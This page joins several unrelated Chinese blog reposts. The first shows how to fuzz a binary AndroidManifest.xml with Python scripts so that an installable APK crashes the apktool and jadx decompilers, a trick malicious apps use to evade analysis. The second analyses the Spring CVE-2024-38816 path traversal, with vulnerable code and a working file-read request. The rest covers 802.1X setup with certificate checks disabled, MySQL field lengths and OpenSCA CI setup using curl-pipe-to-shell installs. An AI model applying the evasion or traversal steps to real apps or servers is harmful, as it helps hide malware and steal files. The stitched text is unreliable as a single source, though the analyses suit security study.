fuzz AndroidManifest.xml 实现反编译对抗

fuzz AndroidManifest.xml 实现反编译对抗

本文转自 枫糖甜酒 并作补充

有的恶意APK为了防止被apktool反编译,就会在AndroidManifest.xml里面进行一些特殊处理,来干扰apktool反编译,实现安装运行APK没问题,但是apktool 反编译的时候会出现异常并退出
例如下面这个APK,在apktool 2.8.1版本下,就无法正常反编译,但是却能够adb install安装

image

这篇文章Android免杀小结中提到过可以通过修改AndroidManifest.xml二进制文件中的某一位来干扰apktool的判断,但是告诉我们如何寻找这种能够干扰反编译软件的位,所以本篇会针对单位修改AndroidManifest.xml文件对抗反编译进行讨论

环境准备

本机使用windows系统,测试机 AOSP Android 11,这里的反编译工具是Apktool,截止到今天最新版本是 v2.9.0

image

本地更新一下jar包

image

010Editor,用到这个是为了查看AndroidManifest.xml 的二进制数据格式
现在环境就OK了

AndroidManifest.xml 简介

如果不了解AndroidManifest.xml 文件结构就暴力fuzz未免太粗鲁了
AndroidManifest.xml 是 Android 应用程序的清单文件,用于描述应用程序的基本信息、声明组件和权限等内容,是安卓应用开发中非常重要的一个文件
以之前写的一个AndroidManifest.xml 文件为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="hi.beautifulz.myapplication">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.microphone" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name"
android:exported="true"
>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".MainBroadcastReceiver"
android:label="MainBroadcastReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service android:name=".MyService" android:exported="true" />
</application>

</manifest>

简单介绍一下该文件:

  • 元素是必须的,它定义了整个文件的根元素,并且包含了一些必要的属性,例如 package

  • 元素用于声明应用程序所需的权限

  • 元素用于声明应用程序所需的设备功能和硬件特性

  • 元素是应用程序的核心元素,它包含了所有的组件和各种配置信息,例如主 activity、自定义 theme、icon 等等。

    • 元素用于声明应用程序中的 Activity 组件
    • 元素用于声明应用程序中的 Service 组件
    • 元素用于声明应用程序中的 Broadcast Receiver 组件
    • 元素用于声明应用程序中的 Content Provider 组件
    • …….

AndroidManifest.xml二进制文件结构

文件大纲

MindMac师傅在看雪发的图

image

当然没基础的话,直接看这个图其实没什么卵用
根据附件里面的AndroidManifest.xml文件生成二进制文件,跟着MindMac的思路使用010Editor进行分析
编码前的xml文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

用这个xml生成APK,APK再解压之后得到AndroidManifest.xml二进制文件,丢到010editor里面,以十六进制的格式查看

image

感觉跟MindMac的内容有点不太一样,难道是因为版本的问题,加载AndroidManifest.bt Template

image

可以看到已经把AndroidManifest文件架构列出来了
MindMac把文件分为了五个结构,这里的Magic Number和File Size其实都属于header

image

header内容为

image

所以可以分为四个部分

  • Header : 包括文件魔数和文件大小
  • String Chunk : 字符串资源池
  • ResourceId Chunk : 系统资源 id 信息
  • XmlContent Chunk : 清单文件中的具体信息,其中包含了五个部分

接下来简单分析一下这几个部分

Header

image

AndroidManifest的魔数为 0x00080003

关于魔数
二进制文件的魔数(Magic Number)是一种固定值,用于标识文件类型或格式。不同的文件类型通常具有不同的魔数。

以下是一些常见的二进制文件魔数示例:

  • ELF(可执行和共享目标文件):0x7F 0x45 0x4C 0x46
  • JPEG(图片文件):0xFF 0xD8
  • PNG(可移植网络图形):0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A
  • PDF(便携式文档格式):0x25 0x50 0x44 0x46
  • ZIP(压缩文件):0x50 0x4B 0x03 0x04
  • GIF(图形交换格式):0x47 0x49 0x46 0x38

另外为什么这里是 0x00080003 而不是 0x03000800
是因为清单文件是小端表示的

在早期的apktool会识别AndroidManifest文件,如果魔数不为0x00080003则反编译失败,该方法也用在了某些恶意APK上,比如链安的这篇文章https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

image

其中修改魔数为 00 00 08 00 则可以实现干扰
该方法在新版本的apktool测试已失效

该文件的filesize为0x00000904即2308字节

image

Other

其他的模块就不一一赘述,如果想要自己跟着分析每一块内容可以参考

总而言之,AndroidManifest里面的每一位都有自己的作用

手动修改AndroidManifest文件

手动修改在010Editor里面修改AndroidManifest,例如这里修改为 00

image

然后压缩成zip文件,修改zip后缀为apk,就能够生效了(这个时候只是修改,并没有干扰反编译软件)

自动化fuzz

手动是不可能手动的

自动化fuzz的AndroidManifest.xml文本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:targetSdkVersion="29" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

获取apktool解析结果

之前先知上面的这篇文章 https://xz.aliyun.com/t/12893#toc-10 stringPoolSize陷阱,修改字符串个数 stringCount 字段,导致跟实际对应不上,会造成AndroidManifest.xml解析出现问题,但是这个问题 2.9.0已经修复了,我们在2.8.1上先捕捉一下这个错误

image

使用python获取apktool的运行结果,为啥这里写的这么复杂是因为apktool的运行结果直接获取不到,需要Press any key to continue . . .
需要获取实时的运行流才可以确认结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def apktoolDecode() -> bool:
"""
获取apktool的扫描结果
:rtype: object
True 扫描出错
False 扫描成功
"""
apktool_cmd = f"apktool d -f {sign_name} "
process = subprocess.Popen(apktool_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 定义一个标志位来表示命令是否已经执行完成
command_completed = threading.Event()

def handle_output(stream, prefix):
for line in stream:
print(f"{prefix}: {line.strip()}")
command_completed.set() # 设置标志位,表示命令已完成

stderr_thread = threading.Thread(target=handle_output, args=(process.stderr, "STDERR"))
stderr_thread.start()
timeout_seconds = 5
command_completed.wait(timeout_seconds)

if not command_completed.is_set():
process.terminate()
return False
else:
process.terminate()
return True

遇到解析不了的APK的时候就会返回True,正常解析的就会返回False

image

优化

简单计算一下会有多少种可能性,前面提到过该文件有2308个字节,一个字节修改范围为 0x00 - 0xFF,即256,所以一共有590848种可能性,如果是单线程运行的话需要八百多个小时

image

蒽….
考虑已知的干扰位置,我们对每一个字节的修改范围变成下面两种可能来缩减范围:

  • 0x00 比如魔数,把 0x03修改为了0x00
  • 跟原本位置不同的数字,比如stringCount原来是0x23 我们修改为0x24

在这个基础上 可能性缩减到了4616

获取结果

在前面的思路上编写出脚本运行就可以了,能够造成apktool 2.9.0 干扰的位置有很多,但是有的位置修改了之后会导致手机也安装不上,出现错误

adb: failed to install .\app-debug.apk: Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION: Failed to parse /data/app/vmdl1242571071.tmp/base.apk: Corrupt XML binary file]

image

所以我们不仅要能够干扰apktool,还需要修改之后能够正常安装
在原来的基础上添加了自动签名代码

1
2
3
4
def signApk():
subprocess.run(
['jarsigner', '-verbose', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', "./spring.keystore",
'-storepass', "123456", '-keypass', "123456", '-signedjar', "sign.apk", "./app-debug.apk", "spring"])

验证是否能正常安装代码

1
2
3
4
5
6
def installApp():
adb_install_cmd = f'adb install {sign_name}'
result = os.system(adb_install_cmd)
if result == 0:
return True
return False

跑了一会fuzz脚本之后就出现了结果,这里给出一个apktool2.9.0的干扰结果
在String Offsets数组里面(存储每个字符串在字符串池中的相对偏移量),修改0X00000198为0X00005098,为什么是这个值,这里只是找一个能让数组越界的下标值,因为fuzz出来是这个我就填这个了

image

修改之后

image

保存后重新打包成zip,并且签名
安装和运行没问题

image

image

使用apktool 2.9.0 进行反编译,反编译失败

image

jadx对抗

本来准备结束了,Red256问我能不能对抗jadx

image

因为没有遇到我(吐舌

使用jadx最新版本1.4.7,设置前面给出的干扰位置,把重新压缩的APK丢到jadx里面

image

AndroidManifest.xml解析失败,对抗成功
给APK签名后检查能否安装

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ./spring.keystore -storepass 123456 -keypass 123456 -signedjar sign.apk ./app-debug.apk spring

安装成功

image

小结

对于文件有增删查改四种操作,除了查操作之外,其他的三种操作都有机会对抗反编译软件,本篇也只是对改操作里面的单位操作进行了fuzz分析,除单位之外,还可以进行两位、三位….的修改,组合的情况也就更多了

具体为什么反编译软件会出现报错,我们查看反编译软件的报错

apktool报错

image

jadx-gui报错

image

其实都是指向同一个问题

java.lang.ArrayIndexOutOfBoundsException

查看apktool源代码,具体位置在

1
2
3
4
5
6
7
8
9
10
11
12
private static int[] getUtf16(byte[] array, int offset) {
int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

if ((val & 0x8000) != 0) {
int high = (array[offset + 3] & 0xFF) << 8;
int low = (array[offset + 2] & 0xFF);
int len_value = ((val & 0x7FFF) << 16) + (high + low);
return new int[] {4, len_value * 2};

}
return new int[] {2, val * 2};
}

错误在这一行

int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

所以是传入的恶意偏移量导致了数组越界产生了异常并退出

参考链接

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fnWebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

本文转自 丁晏 并作补充

前提条件

选择“开始 > 控制面板”,依次单击“系统和安全”、“管理工具”和“服务”,确认“Extensible Authentication Protocol”和“Wired AutoConfig”两个服务的“启动类型”为“自动”,“状态”为“正在运行”。

操作步骤

1、选择“开始 > 控制面板”。
2、在“控制面板”选择“网络和Internet > 网络和共享中心 > 查看网络状态和任务 > 以太网”(控制面板的“查看方式”选择“类别”时可显示“网络和Internet”)。

image

3、在“以太网状态”窗口,选择“属性”。
4、在“身份验证”页签,选中“启用IEEE 802.1X身份验证”,“选择网络身份验证方法”设置为“Microsoft: 受保护的EAP(PEAP)”,单击“设置”。

image

5、取消勾选“通过验证证书来验证服务器的身份”,“选择身份验证方法”选择“安全密码(EAP-MSCHAP v2)”,单击“配置”。

image

6、取消选中“自动使用 Windows 登录名和密码”,单击“确定”。

image

说明:如果操作系统使用AD域帐号登录,并且用来进行802.1X认证的用户名和密码也是使用的登录操作系统的域帐号和密码,则勾选“自动使用Windows登录名和密码”。

7、等待Windows弹出认证框,即可输入用户名和密码进行认证。

MySQL数据库字段超长问题

MySQL数据库字段超长问题

本文转自 adrninistrat0r 并作补充

1. 存在的问题

在向MySQL数据库表中插入或更新记录时,有时会出现字段超长的问题,包括但不限于以下场景:

处理上游系统发送的交易信息,将多个字段拼成一个JSON或其他格式的字符串;在增加字段,或数据较长时,写入或更新数据库时可能超长;

调用下游系统的服务,返回的部分字段(如错误信息等)较长时,导致更新数据库记录失败。

2. 问题解决与优化建议

2.1. JSON等格式的字段

有业务含义的重要字段,不建议通过JSON字符串格式保存在一个数据库字段中。

假如需要将字段以JSON字符串格式保存在一个数据库字段中,建议只保存相对不重要,且不需要作为唯一的查询条件的字段,在进行保存时也需要考虑字段超长问题,及新旧数据与新旧代码相互之间的兼容问题。

2.1.1. MySQL字符串字段长度

半角英文字母、数字、符号等常见字符,1个字符占用1个字节;1个汉字字符占用3个字节。

在utf8字符集下,1个字符最多占用3个字节,不支持占用4个字节的字符。

在utf8mb4字符集下,1个字符最多占用4个字节,可以保存emoji表情等占用4个字节的字符。

MySQL字符串字段的最大长度如下所示:

类型 最大长度 单位
CHAR(n) 255 字符数
VARCHAR(n) 65535 字符数
TINYTEXT 255 字节数
TEXT 65535 字节数
MEDIUMTEXT 16777215 字节数
LONGTEXT 4294967295 字节数

需要注意,CHAR、VARCHAR类型字段的最大长度的单位为字符数,能够保存的汉字数量等于最大支持字符数;

TEXT等类型字段的最大长度的单位为字节数,能够保存的汉字数量不超过最大支持字节数的1/3。

2.1.2. MySQL使用较长的字符串类型字段影响

MySQL、MariaDB较新版本支持JSON类型字段,其他版本需要使用字符串类型字段保存。

MySQL中长度超过768字节的固定长度字段被编码为变长字段,例如VARCHAR(超过768字节)、TEXT等,变长字段被称为页外列(off-page),不是保存在InnoDB的B+树索引中,而是保存在溢出页(overflow page)中。在溢出页中,变长字段的值以单链表形式存储。

对于保存JSON形式的字符串类型字段,由于需要保存较多内容,很可能属于变长字段。保存JSON形式的字符串类型字段不适合在查询时作为唯一的查询条件,原因如下:

保存JSON形式的字符串类型字段不适合创建索引:一是JSON字符串中的字段顺序不固定,通过like进行最左匹配查询,很难从保存JSON形式的字段中查询到需要的数据;二是因为InnoDB索引支持的长度有限(在MySQL InnoDB默认配置下,索引支持的最大长度为768字节);

仅通过变长字段进行查询时,无法通过B+树结构的索引进行查询,而是需要在单链表形式的溢出页中逐条进行查询,查询效率会非常低。

查询变长字段,与不查询变长字段相比,开销会更大,耗时会更长。因为查询变长字段时,会增加从溢出页中查询数据的步骤;且需要返回的数据量可能较大,数据返回耗时会增加。

在查询包含变长字段的数据库表时,假如不需要获取变长字段,则不应该在SQL语句中指定查询变长字段。

2.2. 可以截断的字段

对于截断后不影响使用的字段,在写入或更新数据库时,可对存在超长风险的字段按照数据库字段长度进行截断;

JDK中的String.substring()方法,commons-lang3中的StringUtils.substring()、StringUtils.truncate()方法,参数中的数字单位都是字符数,不是字节数。

在Java中对字符串进行截取时,建议使用StringUtils.truncate()方法。

MySQL中的CHAR、VARCHAR类型的最大长度,也是字符数,不是字节数。

因此在Java中对字符串根据MySQL的字符串类型字段长度进行截取时,两者的长度是一致的。

例如MySQL中的字段为VARCHAR(200),则可使用以下方式进行截取,将截取结果写入数据库。

1
javaStringUtils.truncate("xxx", 200);

在Jenkins及GitlabCI中集成OpenSCA,轻松实现CI/CD开源风险治理

在Jenkins及GitlabCI中集成OpenSCA,轻松实现CI/CD开源风险治理

本文转自 OpenSCA社区 并作补充

插播:
OpenSCA-cli 现支持通过 homebrew 以及 winget 安装:

Mac/Linux

1
brew install opensca-cli

Windows

1
winget install opensca-cli

总有小伙伴问起如何在CI/CD中集成OpenSCA,文档它这不就来啦~

若您解锁了其他OpenSCA的用法,也欢迎向项目组来稿,将经验分享给社区的小伙伴们~

Jenkins

在 Jenkins 中集成 OpenSCA,需要在 Jenkins 构建机器中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统,包括 Windows、Linux、MacOS,亦可通过 Docker 镜像运行。

Freestyle Project

对于自由风格的项目,可以通过在构建步骤中添加 Execute shell 或 Execute Windows batch command 来执行 OpenSCA-cli。

以 Execute shell 为例:

image

1
2
3
4
5
6
# install opensca-cli
curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
# export opensca-cli to PATH
export PATH=/var/jenkins_home/.config/opensca-cli:$PATH
# run opensca scan and generate reports(replace {put_your_token_here} with your token)
opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json
  • install.sh 会默认将 OpenSCA 安装在用户家目录 .config 目录下,请根据实际情况调整 PATH 环境变量或使用绝对路径。

Pipeline Project

对于流水线项目,可以通过在流水线脚本中添加 sh 或 bat 来执行 OpenSCA-cli。以 sh 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pipeline {
agent any

stages {

stage('Build') {
steps {
// Get some code from a GitHub repository
// build it, test it, and archive the binaries.
}
}

stage('Security Scan') {
steps {
// install opensca-cli
sh "curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh"
// run opensca scan and generate reports(replace {put_your_token_here} with your token)
sh "/var/jenkins_home/.config/opensca-cli/opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json"
}
}
}

post {
always {
// do something post build
}
}
}

(可选) 添加构建后动作

在 Jenkins 中,可以通过 Post-build Actions 来实现保存制品、报告等操作,例如可以通过 Publish HTML reports 插件来保存并展示 OpenSCA-cli 生成的 HTML 报告。
*请注意,OpenSCA 生成的 HTML 报告需启用 JavaScript 才能正常显示。这需要修改 Jenkins 的安全策略,具体操作请参考 Jenkins 官方文档。这可能会导致 Jenkins 的安全性降低,因此请谨慎操作。

修改 Jenkins CSP

在 Jenkins 的 Manage Jenkins -> Script Console 中执行以下脚本:

1
System.setProperty("hudson.model.DirectoryBrowserSupport.CSP", "sandbox allow-scripts; default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';")

执行完成后,需重启 Jenkins 服务。

确保您已经安装了 Publish HTML reports 插件,然后在 Jenkins 项目的 Post-build Actions 中添加 Publish HTML reports:

image

成功构建后,在 Jenkins Job 的 Dashboard 中,即可看到 OpenSCA-cli 生成的 HTML 报告

Pipeline Script 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
post {
always {
// do something post build
publishHTML(
[
allowMissing: false,
alwaysLinkToLastBuild: true,
keepAll: true,
reportDir: 'results',
reportFiles: 'result.html',
reportName: 'OpenSCA Report',
reportTitles: 'OpenSCA Report',
useWrapperFileDirectly: true
]
)
}
}

GitLab CI

在 GitLab CI 中集成 OpenSCA,需要在 GitLab Runner 中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统,包括 Windows、Linux、MacOS,亦可通过 Docker 镜像运行。

1
2
3
4
5
6
7
8
9
10
11
12
security-test-job:
stage: test
script:
- echo "do opensca scan..."
- curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
- /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
artifacts:
paths:
- results/
untracked: false
